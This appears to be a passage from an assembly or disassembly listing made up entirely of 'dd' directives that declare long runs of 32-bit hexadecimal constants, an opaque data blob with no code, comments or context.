		dd 0D9E12420h, 0C29432Ch, 0BA274103h, 0E5023266h, 5D430088h
		dd 0C0005028h, 67C305B2h, 8B046EE4h, 0ACE269ABh, 989E68C8h
		dd 147F5C50h, 3843BAC2h, 0B625F280h, 1507042Ah,	676FC4B4h
		dd 0D4745633h, 0ADF38A4h, 0DE06DB01h, 1C916928h, 0BD6112Bh
		dd 59C72181h, 0FF47C974h, 679517B0h, 0ED701006h, 4C3866B5h
		dd 0D78EBCEEh, 5DDD8240h, 19E02796h, 0A780C914h, 0DE8160E9h
		dd 6025426h, 0D68E8D63h, 60981979h, 0A84FA505h,	480925DAh
		dd 8ABC126Fh, 4867ACECh, 66126582h, 43214434h, 3E04A499h
		dd 64D34DA8h, 4000E5F5h, 0B0CD5002h, 0C04658E8h, 8F3D34D4h
		dd 0A05CE144h, 840C9034h, 2F811D6Fh, 698A404Ah,	8094F7D6h
		dd 0B15F5DAh, 8A03391Ah, 879F14A9h, 0B87904C5h,	0F3863A38h
		dd 4FE915B8h, 0A4ACC5A0h, 0E504A280h, 3A871764h, 9E45060Fh
		dd 0DC969083h, 417D4D80h, 1DB29E8h, 4E50D1E2h, 55FCF6E1h
		dd 0C45889A8h, 441A72FBh, 0C8B1D786h, 16F44C08h, 14BA924Bh
		dd 4D0B81C8h, 7C115B53h, 80A43DF7h, 76975F71h, 0D0E724CBh
		dd 40B4AC10h, 0B20637A3h, 0E2476209h, 38AC09A0h, 125FCD60h
		dd 0ABB51Ah, 0BABD8340h, 0FB19AD4Bh, 0DB70FAFFh, 0A5203212h
		dd 5C9ABB4Ch, 150FFC77h, 972313EFh, 0B2D35875h,	3048A1D4h
		dd 508AC1F4h, 0B8608494h, 6B19008Ch, 0FFE58DD2h, 0D89C7E2Bh
		dd 0A65992C0h, 0F2F81Ch, 5D4FE6D6h, 0B24ECF07h,	5616A015h
		dd 187F02E0h, 202CE040h, 0EBB98A5Fh, 0A1050C0Ah, 5A112C2Fh
		dd 4DE83900h, 1C12F902h, 0EF112491h, 165B7850h,	9006BCE9h
		dd 9D9441F4h, 6E563A0Bh, 5A80324Dh, 0E0E2145Ch,	352578BBh
		dd 0B04C503Ah, 0FBA58480h, 0A64B1F00h, 89623DF6h, 5E1B0BF0h
		dd 0A002783h, 0CB6D4E09h, 3A0037F8h, 0A293064Bh, 3EDCEEDAh
		dd 0F6002BA6h, 0B543149Ah, 7D0CCA67h, 182D2379h, 5816600Dh
		dd 8218F23Ah, 40F15F00h, 9DDB2E57h, 0E1920019h,	4CFDF6A4h
		dd 63001A5h, 242B3117h,	312C010Bh, 0C464F4EAh, 819AD599h
		dd 0D06796A8h, 0CAF0308Bh, 37C184Fh, 242D892Ah,	32E60D01h
		dd 210C95E9h, 0A23C5180h, 0CFBA2A41h, 706A379h,	4A20FBB3h
		dd 0D9220020h, 0B935FF7Bh, 4006B526h, 859A0571h, 3CEFE0F0h
		dd 81E02109h, 0B14A2F52h, 76D6A9C2h, 5A0A087h, 67A28E2h
		dd 73D567C4h, 0D30192Ah, 1B148915h, 0CCEC0338h,	0CF965F7Eh
		dd 0DA1648D0h, 8E710D61h, 998022FBh, 0B1A4C7C0h, 5D18A793h
		dd 961841B5h, 5114600Dh, 5FDF4E56h, 0A4523Ah, 3B59822Ch
		dd 0E895089Dh, 2912670Dh, 0AB0D01Bh, 0D300885Eh, 93058B3Dh
		dd 8593C04h, 0D4F264E0h, 0B0414B07h, 7F1153C7h,	0ACF478EAh
		dd 0CC7A06EDh, 501CDAFDh, 0D5971F18h, 0DF5C8131h, 10CE0708h
		dd 40641773h, 0BCFE8ADEh, 1FF00C50h, 31889433h,	2CC0228Eh
		dd 42C9D000h, 0D31F7B74h, 77FA7A04h, 0EE170069h, 16D443B7h
		dd 60C5648Eh, 8C402CFBh, 3B7F473Ah, 0EAE013h, 0AD4F48C2h
		dd 0BA1FAFA8h, 78940381h, 0C900D09Ah, 917AC3D3h, 0E8144EADh
		dd 0C2F075A8h, 0A23676ABh, 88991FD4h, 0F28DF054h, 7FD4118Eh
		dd 206E1031h, 0DDAB0A59h, 0A11D1C34h, 0F3812A22h, 926E0388h
		dd 2319745h, 0A2011018h, 0D0073A31h, 49C5D0A0h,	0EDE400B7h
		dd 31E9D590h, 357AAB18h, 0A3200D31h, 1806E87Ch,	0E20902B2h
		dd 584BE11Eh, 8A2CACA8h, 58D0AF1Fh, 0D14C780Eh,	8E4E0181h
		dd 0DF70A41Bh, 60C59452h, 3051659Eh, 0FB315A80h, 0D2012D37h
		dd 0DD44753Ch, 19956547h, 454CC423h, 581D407h, 86870121h
		dd 9940C582h, 280B240h,	28E991h, 80BD2E54h, 0E0B313F8h
		dd 0B9C81ED0h, 3237C0FCh, 0DEF983B0h, 0E6DBCCA8h, 40C80C98h
		dd 25B68129h, 0FD2F65EDh, 0EC76FC28h, 0A1540301h, 7B0E45DCh
		dd 7FDCA4D6h, 9971D040h, 9B00A584h, 0E5D9B28Ah,	53936E66h
		dd 4D10C4F5h, 1A1201A5h, 4EAAF222h, 0BCB020BAh,	0CFBB5349h
		dd 1CDBD802h, 90938F8Bh, 14C3694h, 0C3D7D072h, 30FA8780h
		dd 812AAB10h, 1149E084h, 1BBB1100h, 7A0F21Fh, 5031FFD2h
		dd 90DB3324h, 0CCDD3C1Fh, 0CE6E0387h, 0BFA772A1h, 0E52800FBh
		dd 7483A906h, 44752DF4h, 2C6FE303h, 0E8C0451Dh,	5E4D85h
		dd 0C33F7DC1h, 7333CDFFh, 78E1EA26h, 0B855C800h, 1A16ECh
		dd 2524E257h, 6B3FA502h, 308C6530h, 0C3CC503Eh,	0D6A6D238h
		dd 53F7900h, 0FEA5906Ah, 3CDE4ACh, 0DC8F4BD3h, 981F6DD0h
		dd 3BBC72Bh, 0BEBD4AD2h, 181E6B3h, 0EDDE7E8Dh, 8CD3F6CFh
		dd 58A4EA31h, 2BAF00CDh, 6304BC3h, 5C314D90h, 0C83818FDh
		dd 0F2336880h, 1A1867B9h, 3E6E9739h, 0A17D3243h, 88AD20E5h
		dd 5FE09223h, 21D960CCh, 0F23088BEh, 48CF5C00h,	0FCCD223Ch
		dd 2D720091h, 0DF8850AFh, 91C03EF7h, 0FAC4CA4Fh, 0E61D000Ah
		dd 0B3A6F6C5h, 0F7603F78h, 58FEEFD1h, 10EB030Ah, 30947F1h
		dd 638538B8h, 722AB315h, 0CB4610A4h, 0D398D788h, 0EC5D3152h
		dd 20D163C0h, 0CBE11172h, 0F028C8B5h, 14C8C4ABh, 39C7CAA8h
		dd 0E0B0449Dh, 326AD45h, 78E7A1EDh, 2172CBA7h, 0BEFC7100h
		dd 11D6A4D9h, 0C20858ACh, 0ECD48814h, 47FEEC84h, 0F741CFB7h
		dd 4194134Bh, 0B28080EAh, 2815F13Ch, 0C9B67701h, 0B3591836h
		dd 56C82884h, 9DD347A6h, 1C00F8D5h, 0EBCB6A6Dh,	0BC5A0724h
		dd 20B25CD5h, 48F6D75Dh, 0D869E368h, 0C089A69Bh, 7B160CCh
		dd 0D42BA080h, 1AD7105Ah, 18530496h, 0E5B163E4h, 983900C8h
		dd 82F3DC75h, 7C09FBAAh, 8249D342h, 494B735Bh, 0AD10A130h
		dd 1D13FB2Ch, 0C0E0D30Fh, 94E81CD4h, 0B8F2C151h, 204FDE03h
		dd 8122F7B4h, 0B6C015D6h, 720DF8D3h, 0FB80E2DEh, 10B8C90Eh
		dd 6B99807Eh, 380BC11h,	774455CFh, 45CBDF46h, 0CBB2DDC8h
		dd 0D39048F7h, 0F67E8F00h, 0D7F2864h, 0ADF80C5Eh, 0C0B0D779h
		dd 0D0C1B12Ah, 17E4CC81h, 0A489BCC4h, 8E61098h,	41494CDFh
		dd 0E0383B34h, 5F92C221h, 4A2E1814h, 0BFC07946h, 7259C760h
		dd 767087Eh, 3DA7A2C1h,	18CE044Ah, 21D72E1h, 0C422E879h
		dd 308E2A7Ah, 439641F8h, 0D61CDF7Fh, 6EC0840Ah,	0C2B1780Ch
		dd 328D2921h, 581518D4h, 39C0CA38h, 72A44D2Ch, 9D9E04E2h
		dd 84C88A37h, 578C20F8h, 0E1739382h, 0D563B4A4h, 0F04466F1h
		dd 0C5D8603h, 28BAEE15h, 1254A668h, 8900D088h, 0E4E0318Eh
		dd 72A0CBBh, 124B4EA3h,	75C4A3E9h, 22A68B81h, 0BA670074h
		dd 65932D49h, 2A1400E9h, 60B08EF6h, 0C1055620h,	2B4FAF0Fh
		dd 9872F409h, 60E09D80h, 0F5090494h, 1A49ED7Fh,	672801ACh
		dd 0D106F06Eh, 18F9C199h, 0F1DFF02Bh, 0E8203001h, 0E3443D82h
		dd 0EF77D981h, 0F3EAC6A2h, 4AC8D00Ah, 0E44488A7h, 9F1CC8h
		dd 696EBF5Eh, 6043F082h, 0A70C5977h, 816449E0h,	48C4248Fh
		dd 28B1645Ch, 94494CF7h, 64EC6D8Ah, 87040C5h, 48668649h
		dd 0B2123EBFh, 4788446Ch, 0DCB423D9h, 2848F051h, 0C69433B5h
		dd 0B82E1900h, 0F0B74228h, 79FD0029h, 894AD06Eh, 37121985h
		dd 1832E2DFh, 54B720C8h, 9600A990h, 95AF02A5h, 0A131500Bh
		dd 3017CAFCh, 2E90BC61h, 887CE02h, 0A968FA45h, 3D44A388h
		dd 689BE52h, 0E46310C8h, 0C30011CEh, 88F5ECEDh,	3DB326E9h
		dd 0D80086DCh, 8B96B972h, 689182EBh, 3963F78Dh,	88302C20h
		dd 420BBB0Eh, 11F250B5h, 0C810E19Ch, 29D33249h,	0B0C08C45h
		dd 251AA022h, 0DF18004Ah, 548FD782h, 60D32526h,	24006C91h
		dd 0E6E8C3CFh, 0D478464Bh
		dd 0A38A4728h, 8ED5AC00h, 4FE018EEh, 676D003Fh,	0F0ECCF88h
		dd 22128213h, 30488304h, 0C2384357h, 954B8900h,	3C8323B8h
		dd 79F30FCBh, 133CA966h, 1D110C99h, 16FFEDA9h, 0F1374548h
		dd 49203245h, 7557C014h, 1E45E9CBh, 0C03F4014h,	6174C229h
		dd 62821858h, 0A47000B8h, 799FAD9h, 386628E8h, 0D67E00ECh
		dd 0C8018198h, 0DE84F194h, 31803DF7h, 31B883D7h, 45006AAAh
		dd 0D95A1A7Fh, 2C23C45Ch, 0C014CDE9h, 0E20D4DD5h, 31C77203h
		dd 0ABCC207Eh, 0E65B99A9h, 0D918C000h, 4AF40782h, 409744D8h
		dd 585ADE95h, 0A27D0999h, 0D8964F9Ch, 0B7234843h, 0D03A263Bh
		dd 798EDD40h, 0F9A0992h, 0B608360Ah, 0D07A41A0h, 21462F8h
		dd 0F6C39E77h, 21CE462h, 24FDB783h, 5C84D317h, 0B815446Ch
		dd 0A7165482h, 38CB45D8h, 8AD94CF4h, 0B6EF8C80h, 2099D76Fh
		dd 31DDEA0Ch, 0DBC5008Bh, 5B42ED99h, 0F200C8DAh, 1041A724h
		dd 0E7602C9Dh, 44642824h, 44483E99h, 6FDF84ACh,	20CBD0D2h
		dd 8F8756E9h, 0D8401F02h, 61BBDF34h, 2824E76Bh,	44324458h
		dd 0D965C411h, 5F8A9853h, 3DC0306Ch, 0A0AB01EEh, 2319022h
		dd 48BCECD1h, 4C4A8D96h, 0ACD884EBh, 5B1CE578h,	7A00CE91h
		dd 0A746DCBEh, 5CF7D4Bh, 528EA231h, 1640326Dh, 23CA4822h
		dd 0A900D0A6h, 7B17EDA2h, 64EA75EBh, 88A61985h,	7CF82F24h
		dd 3F664E13h, 88817023h, 2AEF3E3h, 8F68C2E5h, 0ACA71164h
		dd 28934861h, 0DE1A1C44h, 0CA7EF745h, 161222A4h, 0B340A4h
		dd 2E3BFE36h, 730048F1h, 0EED72BC5h, 7E6EB1BDh,	0FFD8A9BAh
		dd 1049BB12h, 0D92C427Fh, 0F340CB24h, 1B37D5BAh, 2306AD7Dh
		dd 0ED911AA9h, 0D9462291h, 30FB6D00h, 8D6C1680h, 0E7D8BAB6h
		dd 79CEA910h, 9CE1A100h, 152407D1h, 5CBD0586h, 0C1F68B3h
		dd 0E5F044B0h, 35EAF9C5h, 9AA88440h, 0A37BF9FBh, 0F871E698h
		dd 0EF009A1h, 182584AAh, 46943218h, 0DF00DA11h,	0C8533B62h
		dd 94200CCh, 8FBB970Fh,	0F7E124B8h, 0B9C94068h,	490115C2h
		dd 66C1DEABh, 7C66CF9Bh, 0E935EE21h, 43C1B008h,	89006E3Ah
		dd 86ACAF0Ch, 91831678h, 0ECD303B8h, 0C5A166A7h, 0F433E1h
		dd 261F854Dh, 2DFD05h, 0EB7EB3Fh, 74FBDBA0h, 76C75800h
		dd 0F6D787B6h, 38CA504Ah, 0B51600B7h, 0E16BC7F3h, 0AA74BA27h
		dd 7E48FCB2h, 42BDC8A8h, 6044A716h, 444A6F00h, 0A3EDEC89h
		dd 48E04AE2h, 3E8930F4h, 6F289852h, 0F0F361B2h,	94DF1A06h
		dd 43487F69h, 8DEF00DCh, 7359C842h, 0BFC013D5h,	99834C5h
		dd 80436D40h, 0C90A24A0h, 41895531h, 7980C038h,	0DFB77388h
		dd 400077ECh, 3FF8ADC3h, 44ED519h, 952C4938h, 992CE4D6h
		dd 4BC688h, 63303B66h, 342CC868h, 0ECD06CC0h, 0F1D03A6h
		dd 0D31878F6h, 0A0F86253h, 6104AB40h, 74A22A0Bh, 2480927Fh
		dd 0FC384D60h, 0F9E17F08h, 0FEC6888Ch, 2C87A980h, 0E0856DD4h
		dd 0DE430A70h, 90B08115h, 0A7928B4Ah, 3CB5C8A4h, 9807C020h
		dd 0D99D0C29h, 0DA7174A4h, 7080009Bh, 8898089Eh, 13AB000Dh
		dd 90C39331h, 0A674997Dh, 0E1C96B3Fh, 0E332EE51h, 0FBF4191h
		dd 80EDA171h, 5AA90890h, 7FDF0040h, 0C7706474h,	0CC94E341h
		dd 0DC900F67h, 0BEF2813h, 8071AE67h, 0E38C148Ah, 0D5E01D72h
		dd 4030CBB7h, 6D1D135h,	0C96E6A5Eh, 0E34F62E8h,	0F2D0DC41h
		dd 405D431Ah, 5050BC21h, 0FCA8E0FDh, 92F09A6Fh,	0CE24881Ch
		dd 645310ABh, 22C84C04h, 54E558DFh, 80AE8E80h, 88007508h
		dd 0F0B68EAh, 2E7E29B8h, 243BA7DBh, 0DD9160h, 279A15EEh
		dd 3E4204F9h, 6A80351Ah, 44179C67h, 32E0DC37h, 10A1E0A4h
		dd 5C3D08CDh, 7F819446h, 288CC3DEh, 44D9820Ch, 1D887167h
		dd 0F8F4C014h, 4BF6520Eh, 284F7301h, 0E5B0FE05h, 25D2C980h
		dd 69C93B50h, 0E0F86CB8h, 0B3C319C0h, 1FFE7CDFh, 0A11521Ah
		dd 808C98F7h, 0DD594927h, 0A600FD0Bh, 0A011B35Bh, 0BD1BC9h
		dd 8AE50E81h, 40D014C6h, 0EC2B6302h, 72EB01D9h,	0A0E6F8h
		dd 0F76FBDE2h, 0B4B76147h, 41007776h, 7A1F8CB8h, 62793h
		dd 988B5318h, 94BB6CA6h, 4809B370h, 19723114h, 10F82958h
		dd 16F20092h, 0B9F66A02h, 8407BAFAh, 83E15C77h,	10E21A71h
		dd 57E0B2E1h, 4EFF30B3h, 1562F7F0h, 70EA49CAh, 3ED7D000h
		dd 9D2E60h, 7DEE1188h, 0A5BBBDA4h, 860AA617h, 880ED022h
		dd 3EC0F0C8h, 10D8D29h,	0BF18920Ch, 200B869Ch, 1102DF63h
		dd 3946B1F9h, 8CD0C5h, 0DA0D7F72h, 0F5703BEEh, 40355319h
		dd 9C69FFF0h, 1B9A2BC0h, 8FCB99Eh, 0F1E81E1Ch, 3EC3BA80h
		dd 0CF116Ch, 367783BBh,	0CE9315EDh, 0EC4C0400h,	4B1A31C0h
		dd 63500757h, 793EE3DDh, 8EF3064h, 90140C8Fh, 451135F0h
		dd 5F0043F4h, 4B5E5354h, 0C0DD20B6h, 0D7361550h, 0FEFC8FD3h
		dd 80503A4Ch, 0DD99A4D6h, 9D900062h, 0B6E718EDh, 0DE08748Eh
		dd 5C2326Ah, 816C5BD3h,	40A9A2F0h, 18329570h, 3308E70h
		dd 0C17230F4h, 604C9ECCh, 871B5C2Dh, 306FC905h,	0DC606B56h
		dd 3937DADCh, 700DB44h,	0F68D9B94h, 0ED008C88h,	0B546FFB8h
		dd 9B25BDDEh, 0D1E90004h, 0D75D815Ah, 0CCBECA38h, 24012733h
		dd 0EA46BF5Ch, 3701399Ah, 6E6C02A4h, 18C934C1h,	7863DC4Dh
		dd 0C82D700Fh, 8CE5CC80h, 950140B6h, 0B34AF903h, 40244F44h
		dd 6D134447h, 1734B20Ah, 0B440C0F8h, 0FC6124F6h, 885F0394h
		dd 0E4CB2DEFh, 0C9499810h, 47806C88h, 0AB74B2Ch, 235B0018h
		dd 927AA351h, 0CF0E866Ah, 33CB9BB1h, 9442888h, 0BCBEB848h
		dd 46434064h, 0A376847Dh, 4C35DC4Eh, 26F78480h,	0D76F01E0h
		dd 0ADDB75E2h, 0D839E4h, 5312B689h, 24E58C3Fh, 24DE14Fh
		dd 3B555472h, 71046CE4h, 0E86CF0A9h, 74441098h,	14E15D7Fh
		dd 0C5C793Eh, 6D00D822h, 697809F4h, 7548C35h, 5CC6D324h
		dd 1F7D01Fh, 0E44AD5DBh, 0B3501840h, 323FB17h, 0F7A91521h
		dd 35987872h, 0A2483271h, 74204E08h, 385B048h, 8351D2E8h
		dd 9292531Fh, 2083EC89h, 6FA21C4Eh, 2051C462h, 6A934A1Ch
		dd 18302857h, 0B68DF2E5h, 22074FACh, 0E1D420FAh, 0B800BE19h
		dd 0DA492108h, 1F7E8FC9h, 80C4B3F8h, 4CAC8E82h,	0D0D4910Bh
		dd 0F8923244h, 0F1CF23Ah, 5C322C04h, 102A9BE0h,	0EE0007FEh
		dd 5125AE6h, 96A9B8A0h,	4D680F8h, 43DB516Ah, 88C34713h
		dd 9DF33402h, 0FBD043Dh, 0EE0C9E92h, 60A6D9D1h,	0D9044118h
		dd 1500D7D8h, 29E23A6Bh, 142CC67h, 0A5565432h, 2CF6F18Eh
		dd 0D3D98028h, 0B958C88Dh, 61260C0h, 9300465Ah,	0AAF4B60Fh
		dd 38189459h, 8580FDC2h, 4DA3A5ECh, 0FE003A41h,	28548D84h
		dd 0C1335CC5h, 61DF1458h, 11702C68h, 50016D10h,	0F73D1339h
		dd 592C3863h, 0C4CF80E0h, 882E9h, 0EA22009h, 0A862ACB7h
		dd 0E4908798h, 15A18360h, 2FA6194Dh, 68144AF7h,	47A03701h
		dd 0CC7058F3h, 2F60FCh,	3D38C9BBh, 0FE8ECEB9h, 0A296A01Ah
		dd 13207398h, 0AD5B00DEh, 0B9202BC1h, 0D3234B00h, 13A4022Fh
		dd 708148F6h, 88E43DC9h, 0E4D738A0h, 8E01D1E6h,	71169314h
		dd 0F83CCCC2h, 4E18B280h, 0A9D49FEBh, 0AE3F002Bh, 35527010h
		dd 2348305Bh, 0E30C0AA0h, 0DE078CFEh, 0BBC6B0F7h, 688D3EC4h
		dd 0F3B88E0h, 3049C910h, 92F89C17h, 540B7C7Bh, 82902C60h
		dd 8195EF44h, 678EEAD4h, 0A580906Ch, 0D30131D8h, 0B0C9C107h
		dd 67B0DD96h, 9D7712Dh,	2B7CDEEFh, 48107209h, 0B501ECD5h
		dd 1D8136Bh, 0DC38B6C1h
		dd 8E6FBC80h, 0E0037BC4h, 397E4AD0h, 44297425h,	0AC9CE5C3h
		dd 0CEDA03BBh, 0F19136D6h, 40C854E4h, 4A8D012Eh, 50B6CA76h
		dd 0C1247037h, 795788h,	7377DC11h, 1EA7CFE0h, 7EDA4F00h
		dd 0F2970E49h, 1C55009Fh, 0E1B69554h, 3E00B361h, 6E31BCB4h
		dd 1CB778DFh, 0C0E97CEBh, 83C1AB4Bh, 0DA2DDE8Dh, 81189058h
		dd 0EB2B0F30h, 91E04286h, 4EFADF69h, 3B0D9E2Eh,	19BE2F03h
		dd 0F7D114D8h, 205F5060h, 2691D474h, 0C39E690Eh, 0B40DE216h
		dd 0C6C0428Ch, 95500E0h, 6715C60Ah, 0D094727Eh,	0F3625D40h
		dd 0CE400C4h, 0DBE16DC0h, 705F7CEh, 0F64DE856h,	0F873C871h
		dd 417CEB03h, 482363Ah,	54F77D9Fh, 4C1AFC8Ch, 0BB829823h
		dd 90924C9Ah, 37A4CC82h, 2900A4CEh, 736243Ah, 726304h
		dd 0DDFD719h, 345D1445h, 0DE0AE6F0h, 0ECE44849h, 0A7972C40h
		dd 0C49B0766h, 9363ADC0h, 0DBA33E85h, 0D0093C98h, 78F6D30Eh
		dd 0D4E48616h, 0E0300139h, 0EB938E37h, 0F5D33071h, 20FF1A00h
		dd 62F6B3D0h, 80C9D2BCh, 0B4C397ECh, 0E1DF1500h, 0F0B6F848h
		dd 48C68A91h, 0E35B292Eh, 0F1F83900h, 2F99A82Ah, 94981BBEh
		dd 1D17FFB4h, 0BC17E241h, 1EA19488h, 0AEC8902Ah, 634860C0h
		dd 0FC988887h, 193BEB30h, 3D3E75h, 0EACE12ADh, 486B61CFh
		dd 4A543903h, 2297374Bh, 19003531h, 818552C0h, 49A3A20h
		dd 914DF64Ah, 0EC68DD32h, 2275F1C9h, 7F2B054Ch,	856F4E16h
		dd 5849AD1Fh, 82385197h, 0A73E6DF0h, 0A8F67C7Ah, 465CDE1Dh
		dd 0E3C252C0h, 4CFEEA2Bh, 0E02454D0h, 0A8AE0988h, 0F9190D80h
		dd 8D0237BBh, 0EE990104h, 294052F8h, 134A456h, 0E22C060Ch
		dd 6198FD1Ah, 803838D0h, 170F4715h, 0E3CB00CFh,	790E678Fh
		dd 3F26EAEFh, 950E0C7Ah, 0BA3CC488h, 54C478C1h,	100AC33h
		dd 13F881AFh, 0D0F830CDh, 4FC88C05h, 0F0A6D28Ah, 0FD038D03h
		dd 0B7B0F2ECh, 22E0F59Fh, 6C912100h, 11446EA3h,	8DCD1CC5h
		dd 451F387Eh, 0ED3D8D41h, 21F00341h, 4FE18398h,	0AC1B4702h
		dd 0D8728E7Ah, 0C8483138h, 0DC19DF29h, 6663D829h, 26CFA720h
		dd 0F2887B1h, 6C4E1EBCh, 5B1ADCC2h, 0E8F0B046h,	89DC6D5Ch
		dd 87D0E57Fh, 0B40DFD15h, 1E4CA28Dh, 0F3409C1Eh, 0D5236FB1h
		dd 0F4D9E6C4h, 74A195F0h, 31396EE8h, 8C268EE5h,	16CEE03Ch
		dd 5834B0Ah, 0AE085BE2h, 74FCC188h, 1CB462EBh, 4140E9D8h
		dd 18CB2DCAh, 0DC8D0EB4h, 4053B34Ch, 50471A04h,	0E8B05910h
		dd 49C42816h, 2ED0B088h, 0C02460F6h, 0F16FE223h, 19C3E47Ah
		dd 0E0154AE8h, 0DA6157h, 0D953874Eh, 0B618D085h, 34ECF101h
		dd 0F7E029B9h, 41F8822h, 469382B3h, 70654B8Bh, 0A014308h
		dd 409C3F6Eh, 0B4D35402h, 8B260AFAh, 7008E4E0h,	617A60D7h
		dd 0F63FE81Eh, 20D300B4h, 4AA1951Ah, 8D230081h,	0B196F86h
		dd 0D7099054h, 21CF65AFh, 0CB38D4D4h, 1B5CDC50h, 0C72009Fh
		dd 0D8507A6Fh, 8C141ABFh, 808447C4h, 2AD4BBE6h,	4E6743AEh
		dd 0C481830h, 951203B1h, 0C0D72C15h, 0F60902E8h, 1CB88904h
		dd 9890A113h, 35F96346h, 1FF0C30Ch, 0EC1C4098h,	98FFB88Ch
		dd 0C488774Ah, 178F7381h, 0DCA53ECBh, 0BB001DCCh, 7EC54D0Ah
		dd 47E93Fh, 0B2166505h,	6DB93614h, 38807F4Eh, 0A2A657C8h
		dd 0BC60E820h, 969500D0h, 0B4736942h, 23003D2Bh, 7EBD83BBh
		dd 4C358D91h, 0C922E0E3h, 0FA0ECCEAh, 20081A68h, 5D6EC129h
		dd 1DCB9056h, 25B8722Bh, 0ED3E1421h, 4839ACD6h,	38888E60h
		dd 0A83024ACh, 0D34300EBh, 49954D5h, 87F3D700h,	0CE988BF9h
		dd 0DF8D0163h, 0E352191Ch, 80BC7C78h, 0AD17311h, 36E54879h
		dd 82E1B700h, 5D5854D0h, 8BF0E4E9h, 0BB0F55Ch, 98E93E7Ah
		dd 5B3D899Ch, 77802053h, 8B05232h, 98658F2Dh, 0A70C1Ch
		dd 0BAF456BFh, 0C6F16454h, 78437C2Eh, 378EDB80h, 3FD288BCh
		dd 0F450F6h, 0B2AD4A57h, 6328C862h, 102180CAh, 0C516F420h
		dd 8830DB88h, 0F2E0F2CCh, 9C2D0E76h, 5CA39762h,	82D5AC4Ah
		dd 45C47A0h, 0EA62BC44h, 0A320A04Eh, 40EB4E4Ch,	787A26C4h
		dd 0E000096Fh, 6BF52F11h, 46EC282h, 0C64ABAA8h,	6F1B04C5h
		dd 60546222h, 11D0E681h, 546480A8h, 0D13F4B6Dh,	0D4AD7600h
		dd 310346F5h, 0A74749A3h, 0B13903E5h, 0BB07534Ah, 83728CB0h
		dd 87023D77h, 0DEE306BEh, 3CE4F7h, 7FCF753Ah, 0ABEBB142h
		dd 215D8E2Dh, 18BDDF34h, 8DED4C41h, 1BD2CFF3h, 87D090F8h
		dd 4D3700D8h, 0AAAD2EB6h, 1A2C8C5Eh, 5940D8F8h,	78A8362h
		dd 4A3A7B33h, 43620F5Bh, 0D0E4E4F4h, 4222DB00h,	15C64EFh
		dd 0BF1224DAh, 807F1218h, 5A4FE0F4h, 0B42CB176h, 4B127889h
		dd 9CA4CA4h, 9810A78Ch,	583D0C4Ch, 5C180FBh, 0BF1808B6h
		dd 20DE5AFEh, 0D78C4ADCh, 65F03172h, 46AFE601h,	0E87A5379h
		dd 0A6E55835h, 28002462h, 0C0F3B145h, 3F17E06Ch, 0AC025EDFh
		dd 0D18CC8E8h, 5A500C0h, 0DA924BE9h, 0CC9D0B00h, 94A68044h
		dd 0F85801B0h, 8DD42A11h, 8C082BD7h, 0E4E581E3h, 76BF48F6h
		dd 0F58907BCh, 10C9F72Fh, 50198208h, 6CCE1h, 0F8A88612h
		dd 0B17027E7h, 0F0BAA908h, 92CF8033h, 9F01FB1Bh, 0A586BB3Dh
		dd 0F138C8E5h, 46240017h, 0C2F6755Bh, 0ED1622CEh, 0D00FE203h
		dd 0F57BC020h, 52A5478h, 0E81C8CD1h, 0B8E4C83Bh, 22768164h
		dd 0E15230D1h, 1978DF10h, 8412344Fh, 0D3065832h, 32850040h
		dd 9E44D349h, 0C7781912h, 84906C13h, 27F6341Eh,	0BC10DFDDh
		dd 3044A06h, 0F1CD577h,	7959DD80h, 0A4FD00C8h, 0D2410A84h
		dd 13003B4Ah, 0BBEF57D3h, 18DF4655h, 59DD3F85h,	0E47B69A9h
		dd 6E8D9830h, 0B407F1h,	0DDA23B0Bh, 8972CCD1h, 38B1FFEEh
		dd 5949DF00h, 0B87768Fh, 0DD48CD6h, 0CF9DD883h,	8BD2126h
		dd 858A4B60h, 98057C19h, 95EC1D84h, 89E4D381h, 0E3D1407Ch
		dd 0C601284Dh, 9D5CCE3Ah, 0DCCEF29h, 0E6542F8Ch, 0FA357090h
		dd 0AF3ACA00h, 7CC3F883h, 12A7F267h, 64DB75B0h,	0C28CB8D4h
		dd 52A9B628h, 1B72004Ch, 74937D53h, 0C01ACB79h,	54B062B7h
		dd 0FD7EC024h, 0B60E3EF1h, 6073ED8Fh, 49141E55h, 0E1F03A8Dh
		dd 0E2E5377Ch, 7CFFE131h, 0D84EC187h, 1460A6FDh, 2505E971h
		dd 0F7B02E9Eh, 0A38B0074h, 2475340Dh, 4F1DBBF2h, 893FFD51h
		dd 0D1FECFCEh, 0ACCA8098h, 0E7BA3CE2h, 4AAA4F01h, 0C789F0B2h
		dd 7711CC38h, 55C812E0h, 5CC414C8h, 6D80E862h, 302842EFh
		dd 7F017175h, 0BB901F83h, 81109FF0h, 5A00B90Dh,	123D8FA4h
		dd 45F136h, 47CB06C1h, 0EDE503EBh, 0DC40E84Ah, 10C8FD19h
		dd 248C13F0h, 0FE04D1F8h, 0A2D5D850h, 802828EFh, 0F4595A48h
		dd 6A180F75h, 0FCB50Eh,	0B13B6EC3h, 76134AB6h, 5430E016h
		dd 0BE822Bh, 7A2EE452h,	76AF206Ch, 50013Fh, 0E6B07B2Ah
		dd 589F778Bh, 0BC1114D3h, 447227D9h, 53900DCh, 49F48440h
		dd 45138C10h, 98C2DA6Fh, 545904h, 51FAF821h, 0C12DFC6Bh
		dd 2F9890FEh, 73220081h, 0E5E39811h, 9B003521h,	2D4CDCAEh
		dd 0FF397CCEh, 2DB72464h, 4444BDBEh, 37EA540Ch,	0F11169h
		dd 86D17073h, 15F564E0h, 484CC927h, 28DD370h, 8CF249DEh
		dd 8491F870h, 0C0D0D06Ah, 788E0C0Eh, 0E05F405Bh, 3F8FF24Ch
		dd 9F24DC54h, 90E807ACh, 8CD9E0F7h, 0E75B88B6h,	571F7020h
		dd 3CE426h, 58F618BBh, 2EA30D1Ah, 0DC23400Ah, 0A76BE01Ch
		dd 0A080FE68h, 0EDC72A8Ch, 327EF701h, 770B84C4h, 0C48C6984h
		dd 0F15312F5h, 39C01A94h
		dd 0A111C05Eh, 8E0E5000h, 6AF86093h, 0F981B600h, 5133E8C1h
		dd 7E450415h, 0D488A0D8h, 0C43CBC80h, 0B887E21Ah, 0F8A25545h
		dd 19484404h, 2C1CA2CBh, 7300D99Bh, 0D0A7B0C2h,	9F3226CAh
		dd 11250096h, 0BE97C844h, 0A53B727h, 0BD0B3CB4h, 543499B6h
		dd 69068208h, 6856C934h, 413E3CC1h, 274C6C50h, 0C48EA39h
		dd 4579DD8Dh, 0BC659226h, 0D8051B16h, 88E2D4EEh, 0C8EB6305h
		dd 0D0D48840h, 28194431h, 7808CB4Bh, 8936B739h,	0C4E93D9Fh
